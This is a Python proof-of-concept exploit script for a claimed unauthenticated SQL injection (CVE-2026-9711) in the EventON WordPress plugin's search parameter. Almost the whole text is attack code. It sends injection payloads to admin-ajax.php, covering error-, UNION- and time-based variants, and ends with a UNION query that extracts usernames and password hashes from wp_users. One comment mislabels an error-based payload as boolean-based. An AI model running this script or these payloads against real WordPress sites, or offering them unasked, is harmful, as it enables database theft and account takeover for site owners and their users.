CVE-2026-9711

# CVE-2026-9711 - EventON WordPress Plugin SQL Injection PoC # Vulnerability: Unauthenticated SQL Injection via 'search' parameter # Requirements: "Enable additional search queries" setting enabled + at least 1 published event import requests import sys TARGET_URL = "http://target-wordpress-site.com" SEARCH_ENDPOINT = "/wp-admin/admin-ajax.php" # or the search action endpoint def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection in EventON plugin's search parameter. The 'search' parameter is passed directly into SQL query without proper escaping. """ # Step 1: Trigger the search action with malicious payload params = { "action": "eventon_search", "search": injection_payload } response = requests.post( target_url + SEARCH_ENDPOINT, data=params, headers={"User-Agent": "Mozilla/5.0"} ) return response # Example 1: Boolean-based blind SQL injection to extract database version payload_version = "test' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a)-- -" # Example 2: UNION-based injection to extract wp_users # Determine number of columns first payload_union_cols = "test' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -" # Example 3: Time-based blind SQL injection payload_time_based = "test' AND SLEEP(5)-- -" # Example 4: Extract admin credentials payload_users = "test' UNION SELECT user_login,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15 FROM wp_users-- -" if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Sending SQL injection payload...") # Test with time-based to confirm vulnerability resp = exploit_sql_injection(TARGET_URL, payload_time_based) print(f"[*] Response time indicates injection: {resp.elapsed.total_seconds()}s") # Extract data resp = exploit_sql_injection(TARGET_URL, payload_users) print(f"[*] Response: {resp.text[:500]}")

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